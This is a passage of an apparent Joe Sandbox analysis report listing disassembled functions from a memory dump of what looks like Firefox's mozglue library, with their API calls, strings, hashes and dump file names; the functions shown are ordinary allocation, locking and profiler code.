Instruction ID: 50ff5e1fcc9d65a16a032a7b699e52d0c074a74a09e39b97a42f08bc7ee0819d
Opcode Fuzzy Hash: 80255427873d54a98aaa6507febd8ebd6d442033e722cabeddd4d61afd864880
Instruction Fuzzy Hash: 6B21C171A0425A9FCF10DF29D8856AE77F8FF84308F048039E80D97340EB749A488F92

Function 6CB276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB27705

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB27717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB2778F,00000000,00000000,00000000,00000000), ref: 6CB27731
free.MOZGLUE(00000000), ref: 6CB27760

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 65719a952383b1ca1ee3913f936ae0f7aeaea54247809728ffdea7db86c2a6b4
Instruction ID: a0764177fe3a0355538d26e510fceed9acf1aeca86d0f95260d429c0a87b63bb
Opcode Fuzzy Hash: 65719a952383b1ca1ee3913f936ae0f7aeaea54247809728ffdea7db86c2a6b4
Instruction Fuzzy Hash: 7111E2B19052656BEB10AFB6CC44BBBBEF8EF55354F144529F88CA7300E374984487E2

Function 6CB00D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAC3DEF), ref: 6CB00D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAC3DEF), ref: 6CB00D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CAC3DEF), ref: 6CB00DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB00D97, 6CB00DBE
<jemalloc>, xrefs: 6CB00D92, 6CB00DB9

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 18103124ac35b1fce1048869e245869a1ab45b833636d80ed5b1875ca5d913fd
Instruction ID: 83dd06e9483a4167defa7da53b2f88c03fd87f192fe1737d9d0ed461f2ce4357
Opcode Fuzzy Hash: 18103124ac35b1fce1048869e245869a1ab45b833636d80ed5b1875ca5d913fd
Instruction Fuzzy Hash: E7F05B223887E422D51429656C09B6A2B5DA7C2B55F24C125FA14DA9C4DA60E8109675

Function 6CB17620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB175C4,?), ref: 6CB1762B

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB174D7,6CB215FC,?,?,?), ref: 6CB17644
GetCurrentThreadId.KERNEL32 ref: 6CB1765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB174D7,6CB215FC,?,?,?), ref: 6CB17663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB174D7,6CB215FC,?,?,?), ref: 6CB17677

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 06bf53066ae6f62f4d7f5dc8963e89327755105b16309b37e05c2b3119ea80e3
Instruction ID: 6b427b1089d35fb4753385fe08603464c0e9393253c981f481d26e519e93b825
Opcode Fuzzy Hash: 06bf53066ae6f62f4d7f5dc8963e89327755105b16309b37e05c2b3119ea80e3
Instruction Fuzzy Hash: 8BF0C271E14B45ABD7009F32C888A7AB778FFEA25DF128356FA0443601E7B0A5D08BD0

Function 6CB21700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB21800

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Part of subcall function 6CAC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03EBD,6CB03EBD,00000000), ref: 6CAC42A9

Strings

name, xrefs: 6CB21939
Details, xrefs: 6CB21925
{marker.name} - {marker.data.name}, xrefs: 6CB218C7

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: c909b73787b68aeb69c15d9a9b7e910011a86440aa95eb5ce4ba85373f06b958
Instruction ID: c84b75165ff77d843202c521f4336ed6750b48d9cfde4a68e94c16a1bff87dd9
Opcode Fuzzy Hash: c909b73787b68aeb69c15d9a9b7e910011a86440aa95eb5ce4ba85373f06b958
Instruction Fuzzy Hash: 3171F6B0A043869FC704DF28D5907AAFBB1FF45314F044669D8194BB41D771EA99CBE2

Function 6CB2B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB2B0A6,6CB2B0A6,?,6CB2AF67,?,00000010,?,6CB2AF67,?,00000010,00000000,?,?,6CB2AB1F), ref: 6CB2B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB2B0A6,6CB2B0A6,?,6CB2AF67,?,00000010,?,6CB2AF67,?,00000010,00000000,?), ref: 6CB2B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB2B0A6,6CB2B0A6,?,6CB2AF67,?,00000010,?,6CB2AF67,?,00000010), ref: 6CB2B25F

Strings

map/set<T> too long, xrefs: 6CB2B1FA

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 499e523d57c563962b2b9adf5da0eef4f4acfb56216fababcb9fe1b3e4075e1d
Instruction ID: ab859e1b38b1b8497fe92382011fba75a3779b34351ce8148a91f051a008b926
Opcode Fuzzy Hash: 499e523d57c563962b2b9adf5da0eef4f4acfb56216fababcb9fe1b3e4075e1d
Instruction Fuzzy Hash: 05617C746142858FD701CF19C880AAABBF1FF49318F18C599D85E4BB52CB35EC45CB92

Function 6CAED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

EnterCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED4F2
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED50B

Part of subcall function 6CACCFE0: EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CACCFF6
Part of subcall function 6CACCFE0: LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CACD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED52E
EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAED690
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED751

Strings

MOZ_CRASH(), xrefs: 6CAED4BB

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4d7c1a33593488c5d54f1f40246d7a27491ee06db1366efcb9d19c15bec5d92e
Instruction ID: d0967b3b889a665818ac7d47ec0823001fecc54fbb63a6d254d6e7b97c755a53
Opcode Fuzzy Hash: 4d7c1a33593488c5d54f1f40246d7a27491ee06db1366efcb9d19c15bec5d92e
Instruction Fuzzy Hash: 3851D271A087418FD324DF29C19465AB7F1FBC9318F14892EE5A9C7B88D770E884DB92

Function 6CB14630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB14721

Strings

-%llu, xrefs: 6CB14733
profiler-paused, xrefs: 6CB146E4
., xrefs: 6CB1476A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 8477d69cabf9e766b4468ebad31b38bbb11775430d139c13406f4fd731d1b5eb
Instruction ID: 57f034b4318fcd138c1557a5f3d958d5c7099962817d7f4e2295daad7882f7d7
Opcode Fuzzy Hash: 8477d69cabf9e766b4468ebad31b38bbb11775430d139c13406f4fd731d1b5eb
Instruction Fuzzy Hash: B2414671E086489BCB08DF78E85115FBBE5EF85348F10863DE859ABB81EB3098448B52

Function 6CB39830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB3985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB3987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB398D9

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: a48692036651753c5da57c7bbb7ff7341566fd78af89f86d136c636b892d42be
Instruction ID: 6f2e2cbc4e189335c64022e263e07e6cfbe68d31bfdfd91a255ee02aa04ff786
Opcode Fuzzy Hash: a48692036651753c5da57c7bbb7ff7341566fd78af89f86d136c636b892d42be
Instruction Fuzzy Hash: 92310875F0010C9FDB14AF59D8545EF77A9EF84318F00802DFA2A9BB40DB3169498BE1

Function 6CB146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB14721

Part of subcall function 6CAC4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB03EBD,00000017,?,00000000,?,6CB03EBD,?,?,6CAC42D2), ref: 6CAC4444

Strings

-%llu, xrefs: 6CB14733
profiler-paused, xrefs: 6CB146E4
., xrefs: 6CB1476A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 19a5fcf93a3290be23b7ebd8cb236c2ddfa187be99136c19b6edf2704e60371e
Instruction ID: f62b7ddf3af18e2cece346722dcf0ea2cb019f496ebb0dddf0468f3f7c56bdee
Opcode Fuzzy Hash: 19a5fcf93a3290be23b7ebd8cb236c2ddfa187be99136c19b6edf2704e60371e
Instruction Fuzzy Hash: DF315C71F082584BCB0CCF6DD8912AEBBE6DB98318F14853DE8159BB41EB7098448F51

Function 6CB1B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03EBD,6CB03EBD,00000000), ref: 6CAC42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB1B127), ref: 6CB1B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB1B4E4

Strings

pid:, xrefs: 6CB1B4DE

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 44615f8ede89b9e39344f22d607db430913e1395c3d3838d9ff5f609f3e6429a
Instruction ID: 6343e07cbb090b3bacd46bc8fa98ffad280e2947bd55fd1b4f3af9384e4248dc
Opcode Fuzzy Hash: 44615f8ede89b9e39344f22d607db430913e1395c3d3838d9ff5f609f3e6429a
Instruction Fuzzy Hash: B93125B1A09248DBDB00DFAAD880AEEB7B5FF05318F54452DD811A7F41D731A849CBE2

Function 6CB0E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0E577
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0E584
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB0E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB0E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB0E722, 6CB0E750, 6CB0E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB0E777
MOZ_PROFILER_STARTUP, xrefs: 6CB0E5A1, 6CB0E5CC, 6CB0E5FF, 6CB0E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB0E826, 6CB0E850

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: c41812d40c3ac5b52d63ea2496790d7dbcd8d8a7902edfc4a1aa8997cdcd7836
Instruction ID: 1284ac521e23138c8dff565a18a9daa65ccfd7a5acf77994722e4ac7b311f077
Opcode Fuzzy Hash: c41812d40c3ac5b52d63ea2496790d7dbcd8d8a7902edfc4a1aa8997cdcd7836
Instruction Fuzzy Hash: 0B11A131B08698DFDB00AF14D448A6EBBB4FB8932CF448619E89547A58DB70A845CBD5

Function 6CB10C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB10CD5

Part of subcall function 6CAFF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAFF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB10D40
free.MOZGLUE ref: 6CB10DCB

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

free.MOZGLUE ref: 6CB10DDD
free.MOZGLUE ref: 6CB10DF2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: e21b5b81b5b40782775900f6378b613100468074f38127baa5d74e4ebea7954a
Instruction ID: f0b04a5f3134214656a13e3ae0b41c997b27fa5a611dab52c94ff703b7d5c7ab
Opcode Fuzzy Hash: e21b5b81b5b40782775900f6378b613100468074f38127baa5d74e4ebea7954a
Instruction Fuzzy Hash: 4C41067191D7908BD320CF29D1807AAFBE5BF89714F108A2EE8D887B51D7709499CB82

Function 6CB1CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1CDA4

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

Part of subcall function 6CB1D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB1CDBA,00100000,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1D158
Part of subcall function 6CB1D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB1CDBA,00100000,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1CDC4

Part of subcall function 6CB17480: ReleaseSRWLockExclusive.KERNEL32(?,6CB215FC,?,?,?,?,6CB215FC,?), ref: 6CB174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1CECC

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

Part of subcall function 6CB0CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB1CEEA,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?,00000000), ref: 6CB0CB57
Part of subcall function 6CB0CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB0CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB1CEEA,?,?), ref: 6CB0CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?,00000000,?), ref: 6CB1D058

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b00fda3217fe63882af19c00bd1d350a9df3495401fe82cb5e38b196c5741b7d
Instruction ID: 93be2d494b407e7ccaef58860b85e556a554cc3f66c995e2dab2b748aa89551a
Opcode Fuzzy Hash: b00fda3217fe63882af19c00bd1d350a9df3495401fe82cb5e38b196c5741b7d
Instruction Fuzzy Hash: 22D17071A04B469FD708CF38C590799F7E1FF89308F01866DD85987B11EB31A9A9CB81

Function 6CAD1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAD17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAD18EE
free.MOZGLUE(?), ref: 6CAD1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD194C

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5927e369bec472cb27e49bfa633e7a2ba9ef9ad0c5512fd0178181fc5ab9875f
Instruction ID: 0319a60156000c36cf9364ce372ff67ed155b0efefa66d94a397c99c76c0dedc
Opcode Fuzzy Hash: 5927e369bec472cb27e49bfa633e7a2ba9ef9ad0c5512fd0178181fc5ab9875f
Instruction Fuzzy Hash: A381D570A15205DFDB08CFA8D8845BEBBB1FF89324F05452CE915AB754D730E988CBA2

Function 6CAE5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAE5D40
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5D67
__aulldiv.LIBCMT ref: 6CAE5DB4
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5DED

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 9d55f94b26403836a374eeb8a4c2961330dcbf3c1688b0b86063507708a7a616
Instruction ID: 05b718d3a83305caf12e9c7913cc336543bd8c2ae66cbeeb0bb749e44d76269f
